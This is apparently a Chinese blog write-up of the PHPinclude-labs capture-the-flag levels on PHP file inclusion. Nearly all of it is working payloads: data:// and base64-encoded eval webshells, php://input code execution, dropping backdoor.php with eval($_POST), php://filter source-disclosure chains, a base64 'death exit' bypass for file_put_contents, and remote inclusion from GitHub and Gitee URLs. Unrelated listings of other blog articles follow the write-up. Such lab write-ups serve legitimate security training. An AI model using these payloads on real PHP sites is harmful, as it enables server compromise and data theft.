Level 1 file协议





payload:?wrappers=/flag

Level 2 data协议

去包含data协议中的内容其实相当于进行了一次远程包含,所以data协议的利用条件需要 php.ini 中开启 allow_url_fopen 和 allow_url_include

GET: ?wrappers=, 然后 POST:helloctf=system('cat /flag');

Level 3 data协议_2

用base64编码进行绕过

根据base64解码规则和php中base64解码宽松性,= 在解码过程开始前会被移除,所以不会影响解码结果,但是+号作为码表的一部分移除会导致解码不正确,注意分别。

Payload:

GET: ?wrappers=;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4, POST:hell=system('cat /flag');

Level 4 http:// & https:// 协议

GET:?wrappers=127.0.0.1/backdoor.txt POST:ctf=system('cat /flag');

Level 5 http:// & https:// 协议_2

本题使用远端包含:

GET:?wrappers=raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI POST:a=system('cat /flag');

Level 6 php:// 协议

php://input + [<?= system('tac flag.???');?>]
php://input + [<?php fputs(fopen('backdoor.php','w'),'<?php @eval($_GET[ctf]); ?>'); ?>] php://filter//resource=/flag
php://filter/read=convert.base64-encode/resource=flag.php
php://filter/convert.base64-encode/resource=flag.php

Level 7 php://input 协议

<?php eval($_GET['ctf']); ?> /* 间接代码执行 */ 

<?php fputs(fopen('backdoor.php','w'),'<?php eval($_POST["ctf"]); ?>'); ?> /* 生成后门木马 */ 

<?= system('tac flag.???');?> /* 直接命令执行 */

Level 8 php://filter_过滤器&字符串过滤器

?wrappers=filter/string.rot13/resource=/flag

Level 9 php://filter_转换过滤器

?wrappers=filter/convert.base64-encode/resource=flag.php

Level 10 文件系统函数_file_get_contents()

php://filter/string.toupper/resource=/flag (正则并没有匹配大小写)
php://filter/string.rot13/resource=/flag
php://filter/read=convert.base64-encode/resource=/flag

Level 11 文件系统函数_file_put_contents()

Payload:

GET:?filename=php://filter/write=convert.base64-decode/resource=backdoor.php

POST:data=PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4

backdoor.php :

Level 11- 封装协议解析

string.rot13

string.strip_tags 去除html、PHP语言标签 (本特性已自 PHP 7.3.0 起废弃)

convert.base64-encode 和 convert.base64-decode

convert.iconv.. 或 convert.iconv./

Level 11+ 死亡绕过



对内容填充两个字符后可以使前方无效后方正常解析。

GET:?filename=php://filter/write=convert.base64-decode/resource=shell.php

POST:data=aaPD9waHAgQGV2YWwoJF9QT1NUWydhdyddKTsgPz4

Level 12 LFI&&RFI

LFI - Local File Inclusion, 本地文件包含: 打开并包含本地文件的行为,比如我们后面会接触的日志文件包含,session文件包含,FilterChain等等。

本地文件包含是最常见的文件包含漏洞,在前面关卡中几乎所有的演示都是LFI(比如包含phpinfo.txt,backdoor.txt这样的行为)。

?wrappers=https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

RFI- Remote File Inclusion,远程文件包含: 读取并执行远程服务器上文件的行为,相比于LFI,远程服务器上文件的可控性更高,因此危害更高,但代价就是条件苛刻,十分依赖 allow_url_include 参数。 HTTP/HTTPS 协议是最直观的远程文件包含形式,当然一定意义上,使用data协议去生成字符串然后包含也是一种远程文件包含。

phpinclude-labs做题记录的更多相关文章

  1. UOJ 做题记录

    UOJ 做题记录 其实我这么弱> >根本不会做题呢> > #21. [UR #1]缩进优化 其实想想还是一道非常丝播的题目呢> > 直接对于每个缩进长度统计一遍就好 ...

  2. project euler做题记录

    ProjectEuler_做题记录 简单记录一下. problem 441 The inverse summation of coprime couples 神仙题.考虑答案为: \[\begin{a ...

  3. Sam做题记录

    Sam做题记录 Hihocoder 后缀自动机二·重复旋律5 求一个串中本质不同的子串数 显然,答案是 \(\sum len[i]-len[fa[i]]\) Hihocoder 后缀自动机三·重复旋律 ...

  4. 退役IV次后做题记录

    退役IV次后做题记录 我啥都不会了.... AGC023 D 如果所有的楼房都在\(S\)同一边可以直接得出答案. 否则考虑最左最右两边的票数,如果左边>=右边,那么最右边会投给左边,因为就算车 ...

  5. 退役III次后做题记录(扯淡)

    退役III次后做题记录(扯淡) CF607E Cross Sum 计算几何屎题 直接二分一下,算出每条线的位置然后算 注意相对位置这个不能先搞出坐标,直接算角度就行了,不然会卡精度/px flag:计 ...

  6. 退役II次后做题记录

    退役II次后做题记录 感觉没啥好更的,咕. atcoder1219 历史研究 回滚莫队. [六省联考2017]组合数问题 我是傻逼 按照组合意义等价于\(nk\)个物品,选的物品\(\mod k\) ...

  7. BJOI做题记录

    BJOI做题记录 终于想起还要做一下历年省选题了2333 然而咕了的还是比做了的多2333 LOJ #2178. 「BJOI2017」机动训练 咕了. LOJ #2179. 「BJOI2017」树的难 ...

  8. FJOI2017前做题记录

    FJOI2017前做题记录 2017-04-15 [ZJOI2017] 树状数组 问题转化后,变成区间随机将一个数异或一,询问两个位置的值相等的概率.(注意特判询问有一个区间的左端点为1的情况,因为题 ...

  9. [日记&做题记录]-Noip2016提高组复赛 倒数十天

    写这篇博客的时候有点激动 为了让自己不颓 还是写写日记 存存模板 Nov.8 2016 今天早上买了两个蛋挞 吃了一个 然后就做数论(前天晚上还是想放弃数论 但是昨天被数论虐了 woc noip模拟赛 ...

  10. noip做题记录+挑战一句话题解?

    因为灵巧实在太弱辽不得不做点noip续下命QQAQQQ 2018 积木大赛/铺设道路 傻逼原题? 然后傻逼的我居然检查了半天是不是有陷阱最后花了差不多一个小时才做掉我做过的原题...真的傻逼了我:( ...

随机推荐

  1. 【软件工程与UML】第2章 用例图、用例文档、活动图 -- 系统的功能需求建模

    目录 01.用例图 用例图的4组成 (一)参与者 (二)用例 (三)关系 表达关系的符号 泛化关系 (四)系统 其他 02.用例文档 简化的用例文档 注意事项 03.活动图 主要组件 建模活动图步骤 ...

  2. 跨语言国密SM4加解密实战:Java与Golang无缝对接

    概述 本文详细介绍了如何在Java和Golang中使用SM4算法进行对称加密和解密操作.通过使用CBC模式和PKCS5填充,成功实现了跨语言的数据加密和解密.无论是Java加密后在Golang解密,还 ...

  3. Web浏览器播放rtsp视频流详细解决方案

    1.背景 在当前项目中,需要实现Web端直接播放RTSP视频流.该功能的核心目标是使得用户能够通过浏览器观看来自不同品牌的IPC(Internet Protocol Camera)设备的实时视频流.主 ...

  4. Qt/C++地图高级绘图/指定唯一标识添加删除修改/动态显示和隐藏/支持天地图高德地图百度地图

    一.前言说明 已经有了最基础的接口用来添加覆盖物,而且还有通过进入覆盖物模式动态添加覆盖物的功能,为什么还要来个高级绘图?因为又有新的需求,给钱就搞,一点底线都没有.无论哪个地图厂家,提供的接口都是没 ...

  5. Ubuntu 20.04编译opencv-3.1.0时报错 error: 'CODEC_FLAG_GLOBAL_HEADER' was not declared in this scope

    Ubuntu 20.04源码编译安装opencv320 报错 error: 'CODEC_FLAG_GLOBAL_HEADER' was not declared in this scope的解决办法 ...

  6. Windows操作系统中,在某一目录下快速启动cmd窗口的方法

    首先,在资源管理器中手动进入目标目录,之后在该目录下空白处,按住键盘shift键不放右击空白处弹出该窗口,点击在此处打开命令窗口.

  7. 基于开源IM即时通讯框架MobileIMSDK:RainbowChat v11.6版已发布

    关于RainbowChat RainbowChat是一套基于开源IM聊天框架 MobileIMSDK 的产品级移动端IM系统.RainbowChat源于真实运营的产品,解决了大量的屏幕适配.细节优化. ...

  8. Python 代码实现生命之轮Wheel of life

    最近看一个生命之轮的视频,让我们珍惜时间,因为一生是有限的.使用Python创建生命倒计时图表,珍惜时间,活在当下. 生命之轮(Wheel of life),这一概念最初由 Success Motiv ...

  9. find_package()使用指南

    关于find_package() 在使用cmake引用第三方库(比如OpenCV)时,我们总是使用find_package()这个指令来实现对包的查找(比如find_package(OpenCV)). ...

  10. 阿里云-数据库-ClickHouse

    https://help.aliyun.com/product/144466.html 云数据库ClickHouse是开源列式数据库管理系统ClickHouse在阿里云上的托管服务,用户可以在阿里云上 ...